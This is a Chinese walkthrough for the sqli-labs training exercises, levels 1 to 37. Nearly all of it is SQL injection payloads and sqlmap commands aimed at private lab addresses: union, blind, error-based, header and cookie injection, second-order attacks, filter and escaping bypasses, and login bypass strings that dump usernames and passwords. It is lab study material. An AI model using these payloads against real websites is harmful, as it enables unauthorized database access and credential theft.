sql-labs 1-37通關教程


第一關:單引號字符串型回顯注入
http://192.168.13.155/sqli/Less-1/?id=1' and 1=1--+
http://192.168.13.155/sqli/Less-1/?id=1' and 1=2--+
http://192.168.13.155/sqli/Less-1/?id=1' order by 3 --+              #得到列數為3
http://192.168.13.155/sqli/Less-1/?id=1' and 1=2 union select 1,2,3--+    #頁面回顯

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+    #得到數據庫名security

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'--+    #得到表名users

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'--+    #得到列名username,password

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,username,password from users where id=3--+    #爆破得到數據庫

 
第二關:數字型回顯注入
http://192.168.13.155/sqli/Less-2/?id=1 and 1=1
http://192.168.13.155/sqli/Less-2/?id=1 and 1=2
http://192.168.13.155/sqli/Less-2/?id=1 order by 3
http://192.168.13.155/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

第三關:單引號字符型變形回西顯注入(變量引入后,程序引用時增加了括號,輸入單引號看報錯信息,near ' '1'') LIMIT 0,1' ,看出變量被加了單引號'和括號)。)
http://192.168.13.155/sqli/Less-3/?id=1') and 1=1--+
http://192.168.13.155/sqli/Less-3/?id=1') and 1=2 --+
http://192.168.13.155/sqli/Less-3/?id=1') order by 3 --+
http://192.168.13.155/sqli/Less-3/?id=1') and 1=2 union select 1,2,3--+

第四關:雙引號字符型變形回顯注入(變量引入后,程序引用時增加了括號,嘗試注入語句看報錯信息--輸入雙引號,看報錯信息,后面near '"1"") LIMIT 0,1'  看出變量被加了雙引號"和括號)。)
http://192.168.13.155/sqli/Less-4/?id=1") and 1=1 --+
http://192.168.13.155/sqli/Less-4/?id=1") and 1=2 --+
http://192.168.13.155/sqli/Less-4/?id=1") order by 3--+
http://192.168.13.155/sqli/Less-4/?id=1") and 1=2 union select 1,2,3 --+

第五關:單引號字符型布爾邏輯型盲注
http://192.168.13.155/sqli/Less-5/?id=1' and 1=1 --+
http://192.168.13.155/sqli/Less-5/?id=1' and 1=2 --+
http://192.168.13.155/sqli/Less-5/?id=1' union select 1,2,3  --+  無回顯,需要利用盲注方法(SQLmap跑)

第六關:雙引號字符型布爾邏輯型盲注
輸入雙引號,頁面報錯,如near '"1"" LIMIT 0,1',可以判斷變量引入后后台給變量增加了""雙引號。
http://192.168.13.155/sqli/Less-6/?id=1 " and 1=1--+
http://192.168.13.155/sqli/Less-6/?id=1 " and 1=2--+
http://192.168.13.155/sqli/Less-6/?id=1 " union select 1,2,3  --+   無回顯,需要利用盲注方法(SQLmap跑)

第七關:單引號字符型注入,但是注釋符號被過濾,無法生效。只能通過閉合單引號實現注入。輸入任何注釋字符不生效,數據庫出錯統一報錯信息提示。
http://192.168.13.155/sqli/Less-7/?id=1' and '1'='1
http://192.168.13.155/sqli/Less-7/?id=1' and '1'='2
通過http://192.168.13.155/sqli/Less-7/?id=1' and 2%3E1 and '1'='1 構造一個邏輯表達式並且閉合原有單引號。
http://192.168.13.155/sqli/Less-7/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>1 and '1'='1

第八關:單引號字符型,布爾邏輯盲注。
http://192.168.13.155/sqli/Less-8/?id=1%27and%201=1%20--+
http://192.168.13.155/sqli/Less-8/?id=1%27and%201=2%20--+
http://192.168.13.155/sqli/Less-8/?id=1%27%20and%201=2%20union%20select%201,2,3--+  無回顯

第九關:單引號字符型,time-based盲注
可以通過構造邏輯或者通過if函數實現注入。
http://192.168.13.155/sqli/Less-9/?id=1%27and%201=1%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-9/?id=1%27and%201=2%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-9/?id=1%27and%20if(2%3E3,sleep(3),1)%20--+

第十關:雙引號字符型,time-based盲注
http://192.168.13.155/sqli/Less-10/?id=1%22%20and%201=1%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-10/?id=1%22%20and%201=2%20and%20sleep(3)%20--+

第十一關:單引號字符型,POST注入。
1、在登錄框輸入用戶名或密碼'or''=',可以繞過驗證。
2、注入點出現在表單,可以通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據,通過sqlmap --data 參數,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十二關:雙引號字符型,post注入
1、在登錄框輸入用戶名或密碼"or"1"="1,可以繞過驗證。
2、注入點出現在表單,可以通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據uname=admin&passwd=admin&submit=Submit,通過sqlmap --data 參數,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-12/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十三關:單引號字符型變形,POST注入(在用戶名處輸入'后,報錯near 'admin') LIMIT 0,1' at line 1)可以觀察出引用變量時增加了'和)。
1、在登錄框輸入用戶名或密碼 admin') or (''='  ,可以繞過驗證。
2、注入點出現在表單,可以通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據uname=admin&passwd=admin&submit=Submit,通過sqlmap --data 參數,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-13/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十四關:雙引號字符型,POST注入

1、在登錄框輸入用戶名或密碼 admin" or ""=" ,可以繞過驗證。
2、注入點出現在表單,可以通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據uname=admin&passwd=admin&submit=Submit,通過sqlmap --data 參數,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-14/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十五關:單引號字符型,POST盲注。與之前相比,此處屏蔽了錯誤回顯。
本關支持 時間盲注,支持布爾邏輯盲注。
1、在登錄框輸入用戶名或密碼 admin'or''=',可以繞過驗證。
2、admin' and 1=1 and sleep(3) --   基於時間盲注可以
3、admin' and 1=1 --         基於布爾邏輯盲注
4、通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據uname=admin&passwd=admin&submit=Submit,通過sqlmap --data 參數,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-15/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十六關:雙引號字符型,POST盲注。
1、支持基於時間的盲注,在用戶名輸入admin") AND SLEEP(5) AND ("gBIl"="gBIl
密碼輸入admin。可以看到延遲執行。
2、支持布爾邏輯的盲注,在用戶名輸入admin") and 1>2 -- 密碼出輸入admin,當表達式成立時,提示登錄成功,表達式不成立,登錄失敗。
3、通過sqlmap post實現注入,因此需要burpsuite抓包,獲得post數據uname=admin&passwd=admin&submit=Submit,通過sqlmap --data 參數,注入。這里需要設置--level 3
python sqlmap.py -u "http://192.168.13.155/sqli/Less-16/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --level 3

第十七關:更新數據庫,字符型報錯注入。
1、用戶名輸入admin,密碼輸入123’,報錯near 'admin'' at line 1,判斷此處存在注入,為字符型。
2、嘗試報錯注入。用戶名輸入admin,密碼輸入 123' and (select 1 from (select count(*),floor(rand(0)*2)x from information_schema.schemata group by x)a); --
頁面返回報錯信息。Duplicate entry '1' for key 'group_key'
3、注入payload:利用floor函數報錯
爆數據庫
123' and (select 1 from (select count(*),concat(user(),database(),floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆表名
123' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆字段
123' and (select 1 from (select count(*),concat((select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆內容
123' and (select 1 from (select count(*),concat((select concat(user,password) from dvwa.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --

其他可利用報錯函數
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1));
用注入payload例如 (select concat(user,password) from dvwa.users limit 0,1) 代替user()函數即可。

第十八關:字符型http頭User-Agent注入
本處能夠看到頁面回顯用戶的ip和user-agent信息,通過burp把登錄過程抓包,並在user-agent后面增加'(User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'),頁面報錯:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.13.1', 'admin')' at line 1
由此判斷此處存在user-agent信息被寫入到數據庫,因此構造基於報錯的注入。
利用extractvalue()和updatexml()函數可以實現注入。
爆庫
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆內容
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3級別,會嘗試http頭注入
利用sqlmap可以利用--user-agent參數嘗試注入。
建議在burp中將http請求 copy to file,保存文件例如req.txt(抓包需要輸入正確的用戶名和密碼)
python sqlmap.py -r d:\req.txt  --user-agent  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0  --level 3

第十九關:字符型http頭referer注入
在本關輸入正確用戶民和密碼,可以看到頁面顯示referer信息。
通過burp把登錄過程抓包,並在referer后面增加'(Referer: http://192.168.13.155/sqli/Less-19/'),頁面報錯:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.13.1')' at line 1
由此判斷此處存在referer信息被寫入到數據庫,因此構造基於報錯的注入。
爆庫
Referer: http://192.168.13.155/sqli/Less-19/' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆內容
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3級別,會嘗試http頭注入
利用sqlmap可以利用--referer參數嘗試注入。
建議在burp中將http請求 copy to file,保存文件例如req.txt(抓包需要輸入正確的用戶名和密碼)
python sqlmap.py -r d:\refer.txt  --referer  "http://192.168.13.155/sqli/Less-19/"  --level 3

第二十關:字符型http頭cookie注入
在本關輸入正確用戶名和密碼,在后續會話中可以看到cookie信息 uname=admin。
通過burp把后續請求導入到repeater模塊,修改cooke 為 admin',頁面報錯:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' LIMIT 0,1' at line
由此判斷此處存在cookie注入,構造報錯注入
爆庫
cookie: admin' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆內容
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3級別,會嘗試http頭注入
利用sqlmap可以利用--cookie參數嘗試注入。
建議在burp中將http請求 copy to file,保存文件例如cookie.txt(抓包需要輸入正確的用戶名和密碼)
python sqlmap.py -r d:\cookie.txt  --cookie  "uname=admin; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6"  --level 3


第二十一關:基於cookie的base64編碼注入(單引號)
輸入正確的用戶名和密碼,可以從頁面返回看出cookie被base64編碼,因此嘗試cookie注入時,需要將注入參數編碼為base64,這里需要借助-tamper參數調用base64encode.py實現。
python sqlmap.py -r d:\21  --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch

第二十二關:基於cookie的base64編碼注入(雙引號)
輸入正確的用戶名和密碼,可以從頁面返回看出cookie被base64編碼,因此嘗試cookie注入時,需要將注入參數編碼為base64,這里需要借助-tamper參數調用base64encode.py實現。
python sqlmap.py -r d:\22  --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch


第二十三關:單引號字符型盲注,過濾了注釋符號。
注釋符號被過濾,因次在注入式需要構造閉合單引號的語句。
http://192.168.13.155/sqli/Less-23/?id=3' and 2>1 and '1'='1
http://192.168.13.155/sqli/Less-23/?id=3' and 2>1 and '1'='2
注入可以用以下語句代替2>1的表達式。
1獲得數據庫名
And Length(database())>n  //判斷當前數據庫長度
And Ascii(Substr(database(),m,1))>n //截取數據庫名第m個字符並轉換為ascii碼
2、判斷數據庫的表長度與表名
And Length((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  //判斷第一行表名的長度
And Ascii(substr((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m個字符串並轉換為ascii碼。
3、判斷數據庫的字段名長度與字段名稱
And Length((Select column_name from information_schema.columns where table_name='users' limit 0,1))>n  //判斷表中字段名的長度
And Ascii(substr((Select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串並轉換為ascii碼
4、判斷字段的內容長度與內容字符串
And length((select user from users limit 0,1))>1  //判斷字符串內容長度
And Ascii(substr((select user from users limit 0,1),m,1)) //截取第m個字符串並轉換為ascii碼

第二十四關:二階注入
二階注入原理:
1. 黑客通過構造數據的形式,在瀏覽器或者其他軟件中提交HTTP數據報文請求到服務端進行處理,提交的數據報文請求中可能包含了黑客構造的SQL語句或者命令。
2. 服務端應用程序會將黑客提交的數據信息進行存儲,通常是保存在數據庫中,保存的數據信息的主要作用是為應用程序執行其他功能提供原始輸入數據並對客戶端請求做出響應。
3. 黑客向服務端發送第二個與第一次不相同的請求數據信息。
4. 服務端接收到黑客提交的第二個請求信息后,為了處理該請求,服務端會查詢數據庫中已經存儲的數據信息並處理,從而導致黑客在第一次請求中構造的SQL語句或者命令在服務端環境中執行。
5. 服務端返回執行的處理結果數據信息,黑客可以通過返回的結果數據信息判斷二次注入漏洞利用是否成功。
二次注入原理案列詳解:
假如有一個網站管理員的用戶名為:root    密碼為:123456789 ,攻擊者注冊了一個賬號 : root'--    密碼為:123
因為賬號當中有特殊字符,網站對於特殊字符進行了轉義,一次注入在這就行不通了。雖然賬號被轉義了,但是他在數據庫當中
任然是以  root'--   的方式被儲存的。
 現在攻擊者開始實施正真的攻擊了,他開始對賬號修改密碼。普通網站修改密碼的過程為:先判斷用戶是否存在------》確
認用戶以前的密碼是否正確--------》獲取要修改的密碼---------》修改密碼成功。 在數據庫中 -- 表示注釋的意思,后面的語句
不會執行,而root后面的那個單引號又與前面的 '  閉合,而原本后面的那個單引號因為是在 --  之后,所以就被注釋掉了,所以
他修改的其實是   root  的密碼
本關測試:
1、新注冊一個用戶,用戶名為admin'or''=' 密碼為123.
2、用該用戶登錄admin'ro''='登錄成功后,修改密碼
3、輸入當前密碼123,然后輸入新密碼123456
4、點擊reset,密碼修改成功,此時發現admin賬戶的密碼被修改。
這里注入參數是攻擊者在注冊的時候講注入參數admin'or''='寫到數據庫的。調用的時候包含了構造的閉合單引號的參數。不借助這種方法,發現在表單輸入的帶有注入符號的都被程序轉義了。

第二十五關:單引號字符型注入,但是后台過濾了所有的and和or注入詞。
當輸入
http://192.168.13.155/sqli/Less-25/?id=1'and 1=1 --+
http://192.168.13.155/sqli/Less-25/?id=1' or1=1 --+
發現頁面返回值and和or被過濾了,導致無法正常執行注入語句。
這里的可以注入時,用到and或or是需要進行變換,例如and用anandd(雙寫)替代(或者&&),or用oorr代替(或者||)。被過濾后變成了and和or。

第二十五A關:與二十五關類似,數值型注入,and和or被過濾,過濾方法與25關一樣、

第二十六關:這里空格和and、or均被過濾了。and和or可以參考二十五關,空格過濾比較嚴 ,常見的--,#,//,/**/都被過濾,包括常見的
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
測試只有%a0可以生效。
http://192.168.13.155/sqli/Less-26/?id=1%27oorrder%a0by%a01%a0anandd%a0%271%27=%271
暴庫
?id=1111%27%a0union%a0select%a01,database(),3%a0||%271%27=%271
爆表名
?id=1000%27%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26%271%27=%271
爆字段
?id=1000%27%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=%27security%27%26%26%271%27=%271
爆內容
?id=1000%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0id=1%26%26%271%27=%271

本關可以在sqlmap中跑,需要借助--tamper參數,並且自定義腳本。變換and、or和space。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-26/?id=1" -v 3 --tamper "symboliclogical1.py,space2a0.py" -D security --tables

第二十六a關:本關為盲注,單引號字符串並應用了)。用法與26一致,需要變換and和空格。
報錯無法回顯,但是可以用聯合查詢注入
http://192.168.13.155/sqli/Less-26a/?id=1%27)%a0%26%26(%27%27=%27
暴庫
?id=1111%27)%a0union%a0select%a01,database(),3%a0||(%271%27)=(%271
爆表名
?id=1000%27)%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26(%271%27)=(%271
爆字段
?id=1000%27)%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=%27security%27%26%26(%271%27)=(%271
爆內容
?id=1000%27)%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0id=1%26%26(%271%27)=(%271
用sqlmap跑:
python sqlmap.py -u "http://192.168.13.155/sqli/Less-26a/?id=1" -v 3 --tamper "symboliclogical.py,space2a0.py"

第二十七關:過濾了了union,雙重過濾了select,過濾了空格。可以用如下方式繞過
ununionion  seseleselectctlec  %0A
?id=1000'%0A ununionion%0A seseleselectctlect%20%0A1,2,3%0A and%0A '1'='1
暴庫
?id=1000%27%0aununionion%a0seseleselectctlect%a01,database(),3%a0and%0A%20%271%27=%271
爆表
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%a0and%0A%20%271%27=%271
爆字段
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%a0and%0A%20%271%27=%271
爆內容
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(password,username)%a0from%a0security.users),3%a0and%0A%20%271%27=%271

第二十七a關:雙引號、字符型、過濾注釋、union select 盲注,可以用如下方式繞過
ununionion  seseleselectctlec  %0A
?id=1"and "1"="1
?id=1"and "1"="2
?id=1000" ununionion%0Aseleseselectlectct%20%0A1,2,3%0A and "1"="1
爆庫
?id=1000"%0aununionion%a0seseleselectctlect%a01,database(),3%a0and "1"="1
爆表
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%a0and "1"="1
爆字段
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%a0and "1"="1
爆內容
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(password,username)%a0from%a0security.users),3%a0and "1"="1

第二十八關:單引號、括號、注釋符號、空格 union&select 被過濾
替代方法:%0a 替代空格,union%0Aunion%0A select select 雙寫替代union select
?id=1')and ('1'='1
?id=1')and ('1'='2
?id=1000')%0A union%0Aunion%0A select select%20%0A1,2,3%0A and%0A ('1'='1
爆庫
?id=1000')%0A union%0Aunion%0A select select%20%0A1,database(),3%0A and%0A ('1'='1
爆表
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%0A and%0A ('1'='1
爆字段
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%0A and%0A ('1'='1
爆內容
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(password,username)%a0from%a0security.users),3%0A and%0A ('1'='1

第二十八a關:與二十八payload無區別。
?id=1') and ('1'='1
?id=1') and ('1'='2


第二十九關:login.php不是index.php。
這里是php的一個hpp漏洞,當同時傳遞多個參數時,不同服務器可能會取得不同的參數值。
例如http://192.168.13.155/sqli/Less-29/login.php?id=1&id=2&id=3同時傳遞3個參數
$_get(id) Apache處理時獲得最后一個ID,也就是Id=3
$_SERVER['QUERY_STRING'],則獲取的是第一個參數,即id=1
如何利用?
waf會對查詢參數進行檢查,但是如果是直接從字符串后去變量,則可能是獲得的第一個變量及id=1,但是實際后台程序在$_get(id) 時,獲得的是后一個參數,那么可以在后一個參數添加注入語句,從而繞過waf檢查。
參考文章:
https://blog.csdn.net/eatmilkboy/article/details/6761407    
Web應用里的HTTP參數污染(HPP)漏洞
本關卡實現:
暴庫
?id=1&id=2' and 1=2 union select 1,database(),3 --+
爆表
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3 --+
爆字段
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3 --+
爆內容
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(password,username)%a0from%a0security.users),3 --+

sqlmap
python sqlmap.py -u "http://192.168.13.155/sqli/Less-29/login.php?id=1" -v 3

python sqlmap.py -u "http://192.168.13.155/sqli/Less-30/login.php?id=1" -v 3 --dbs --batch
第三十關:與29關原理一致,雙引號,基於時間的盲注
login.php?id=1&id=2"and if(2>1,sleep(10),1) --+
第三十一關:與30關原理一致,雙引號,單括號,構造基於時間延遲盲注
192.168.13.155/sqli/Less-31/login.php?id=1&id=3") and 1<2 and sleep(5) and ("1"="1
由於報錯回顯,也可以用floor等函數
http://192.168.13.155/sqli/Less-31/login.php?id=1&id=3%22)%20and%20(updatexml(1,concat(0x7e,(select%20(select%20concat(user,password)%20from%20dvwa.users%20limit%200,1)),0x7e),1))%20--+

第三十二關:所有的'單引號,都被轉義。因此需要構造繞過轉義
    源碼:自定義了檢測注入字符串,進行轉義。
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);     //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
 $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

'單引號替換為構造寬字節 %df'
?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

http://192.168.13.155/sqli/Less-32/?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

第三十三關:所有的'單引號,都被轉義。
利用addslashes($str),對注入字符串進行特殊字符轉義,涉及
    單引號(')---\'
    雙引號(")---\"
    反斜杠(\)---\\
    NULL
繞過方法:吃掉轉義字符或轉義\
方法一:
mysql 在使用GBK 編碼的時候,會認為兩個字符是一個漢字(前一個ascii 碼要大於128,gbk的漢字的范圍)。
輸入%df%27時,%27時’會被轉移為\’,而\的編碼為%5c,最后就變成了%df %5c%27,由於%df(這里16進制)>128(ascii碼值),mysql就認為前兩個編碼是一個漢字,運,最后結果就編程了運’,成功吃掉了轉義的反斜杠\
實際上,只要編碼值大於128,均可以實現吃掉\。例如%81,%82,%83等等。
payload:
/?id=1%dF%27 and 1=1 --+
方法二:利用漢字‘錦’
錦 的UTF-8編碼為: %E9%8C%A6
錦 的GBK編碼為: %e5%5c
實用:直接輸入%E9%8C%A6%27或%e5%5c%27
原理:%e5\’(即%e5%5c%27)?%e5%5c%5c%5c%27?錦\\’,這樣反斜杠就被轉義了。
payload:
/?id=1%e5%5cand 1=1 --+

http://192.168.13.155/sqli/Less-33/?id=0%df'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://192.168.13.155/sqli/Less-33/?id=0%bf'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://192.168.13.155/sqli/Less-33/?id=0%bf'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

第三十四關:基於post的注入,單引號被轉義。
寬字節可用
直接用sqlmap 跑,加前綴 %df%27
>python sqlmap.py -u "http://192.168.13.155/sqli/Less-34/"  --data "uname=admin&passwd=admin&submit=Submit" -v 3  --prefix "%df%27"

第三十五關:基於整形的注入,雖然轉義了',但是數值型注入不需要單引號,直接注入即可

http://192.168.13.155/sqli/Less-35/?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3


第三十六關:get型 mysql_real_escape誤用
寬字節構造'
python sqlmap.py -u "http://192.168.13.155/sqli/Less-36/?id=2" -v 3 --tamper unmagicquotes.py

第三十七關:post型
python sqlmap.py -u "http://192.168.13.155/sqli/Less-37/"  --data "uname=admin&passwd=admin&submit=Submit" -v 3 --tamper unmagicquotes.py --dbs


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM